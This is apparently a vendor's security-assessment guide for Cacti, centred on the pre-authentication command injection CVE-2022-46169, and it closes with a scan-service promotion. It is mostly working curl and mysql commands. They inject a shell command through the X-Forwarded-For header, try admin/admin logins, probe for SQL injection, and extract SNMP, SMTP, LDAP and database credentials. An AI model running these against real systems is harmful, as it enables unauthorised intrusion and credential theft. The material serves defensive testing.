Cacti is a widely deployed open-source network graphing and monitoring solution that uses RRDtool to graph time-series data from SNMP-polled network devices. Beyond its network monitoring function, Cacti achieved widespread security attention due to CVE-2022-46169, a critical pre-authentication Remote Code Execution vulnerability affecting all versions prior to 1.2.23. This vulnerability remains relevant because Cacti installations are notoriously slow to be updated due to their internal infrastructure role. Key assessment areas: CVE-2022-46169 allows unauthenticated OS command injection via remote_agent.php through the X-Forwarded-For header; Cacti defaults to admin/admin; multiple SQL injection vulnerabilities exist in graph and search parameters; config.php stores MySQL credentials; and the host table contains SNMP community strings for all monitored devices. This guide covers systematic Cacti security assessment.
# Cacti CVE-2022-46169 — pre-authentication RCE via remote_agent.php
# Affects: Cacti versions prior to 1.2.23
# CVSS: 9.8 (Critical)
# No authentication required
CACTI_URL="https://cacti.example.com"
# Step 1: Check Cacti version (determine if vulnerable)
curl -s "${CACTI_URL}/cacti/about.php" 2>/dev/null | grep -i "version\|cacti"
# Or check the login page footer for version info
# Step 2: Confirm remote_agent.php is accessible (required for exploit)
curl -s -o /dev/null -w "%{http_code}" \
"${CACTI_URL}/cacti/remote_agent.php" 2>/dev/null
# Step 3: CVE-2022-46169 PoC (detection only — confirm vulnerability presence)
# The vulnerability is in the poller_id parameter processed via X-Forwarded-For
# The script trusts the client IP and uses it in a command passed to proc_open()
# Testing for time-based blind RCE to confirm vulnerability:
START=$(date +%s)
curl -s -o /dev/null \
"${CACTI_URL}/cacti/remote_agent.php?action=polldata&local_data_ids[]=1&host_id=1&poller_id=1" \
-H "X-Forwarded-For: 127.0.0.1;sleep 5" 2>/dev/null
END=$(date +%s)
ELAPSED=$((END-START))
if [ $ELAPSED -ge 5 ]; then
echo "VULNERABLE to CVE-2022-46169: time-based delay confirmed (${ELAPSED}s)"
else
echo "Likely patched or not vulnerable (delay: ${ELAPSED}s)"
fi
# Patching check: update to Cacti 1.2.23+ and verify patch
grep -r "filter_var\|FILTER_VALIDATE_IP" /var/www/html/cacti/remote_agent.php 2>/dev/null
# Cacti default credentials and SQL injection testing
CACTI_URL="https://cacti.example.com"
# Default credentials: admin / admin
# Many Cacti installations also use: admin / cacti or admin / password
curl -s -c /tmp/cacti_sess -b /tmp/cacti_sess \
-X POST "${CACTI_URL}/cacti/index.php" \
--data "action=login&login_username=admin&login_password=admin" \
-L 2>/dev/null | grep -i "console\|graphs\|failed" | head -5
# SQL injection testing — graph parameters
# CVE-2023-39362 and related: SQL injection in graph_id parameters
# Test with simple single-quote payload
curl -s -c /tmp/cacti_sess -b /tmp/cacti_sess \
"${CACTI_URL}/cacti/graph.php?local_graph_id=1'" \
2>/dev/null | grep -i "sql\|mysql\|error\|warning" | head -5
# SQL injection in search parameters (authenticated)
curl -s -c /tmp/cacti_sess -b /tmp/cacti_sess \
"${CACTI_URL}/cacti/graph_view.php?action=tree&filter=test'&graph_template_id=0" \
2>/dev/null | grep -i "sql\|mysql\|error" | head -3
# Enumerate hosts via authenticated session
curl -s -c /tmp/cacti_sess -b /tmp/cacti_sess \
"${CACTI_URL}/cacti/host.php?action=ajax_hosts_noany&search_filter=&term=" \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for h in d:
print(f'Host: {h.get(\"label\")} id={h.get(\"id\")}')
except: print(sys.stdin.read()[:200])
" 2>/dev/null
# Cacti config.php and SNMP community string extraction
# config.php — MySQL database credentials
grep -E "database_password|database_username|database_hostname" \
/var/www/html/cacti/include/config.php 2>/dev/null
# database_password — often MySQL root or cacti user password
# MySQL direct access — host table with SNMP credentials
mysql -u cacti -p"DB_PASSWORD" cacti 2>/dev/null << 'EOF'
SELECT hostname, description, snmp_version, snmp_community,
snmp_username, snmp_password, snmp_auth_password, snmp_priv_password
FROM host
WHERE snmp_community != '' OR snmp_username != ''
ORDER BY hostname
LIMIT 50;
EOF
# snmp_community — SNMP v2c community string per monitored device
# snmp_password / snmp_auth_password / snmp_priv_password — SNMPv3 credentials
# Cacti settings — may include email credentials
mysql -u cacti -p"DB_PASSWORD" cacti 2>/dev/null << 'EOF'
SELECT name, value FROM settings
WHERE name IN ('mail_from', 'mail_password', 'settings_smtp_password',
'path_cactilog', 'auth_ldap_server', 'auth_ldap_password');
EOF
# Check for additional CVEs — RRDtool script injection
# Template data source paths can be abused for command injection on unpatched versions
grep -r "proc_open\|shell_exec\|system\|passthru" \
/var/www/html/cacti/lib/ 2>/dev/null | grep -v "#" | head -10
| Security Test | Method | Risk |
|---|---|---|
| CVE-2022-46169 pre-authentication RCE | GET /cacti/remote_agent.php?action=polldata with X-Forwarded-For: 127.0.0.1;sleep 5 — time-based detection of OS command injection; confirmed vulnerable if 5+ second delay observed; affects Cacti <1.2.23 | Critical (CVSS 9.8) |
| Default admin/admin credentials | POST /cacti/index.php with admin:admin — provides full Cacti admin access including data source template definition with shell command paths, user management, and plugin installation | Critical |
| SNMP community string extraction from host table | MySQL query on host table — snmp_community per device; enables independent SNMP polling of all Cacti-monitored devices for routing tables, ARP caches, and device configuration data | Critical |
| config.php database credential extraction | Read /var/www/html/cacti/include/config.php — database_password in plaintext; MySQL access provides all Cacti data including SNMP credentials, user hashes, and graph configurations | Critical |
| SQL injection in graph parameters | Append single quote to local_graph_id or filter parameters — multiple SQL injection CVEs exist in Cacti; successful injection enables database enumeration and user credential extraction | High (on unpatched versions) |
Ironimo tests Cacti deployments for CVE-2022-46169 pre-authentication RCE via time-based detection, default admin credential exploitation, SNMP community string extraction from the host table, config.php database credential access, SQL injection in graph and search parameters, LDAP credential extraction from settings, network exposure assessment, and version detection for all known Cacti CVEs.
Start free scan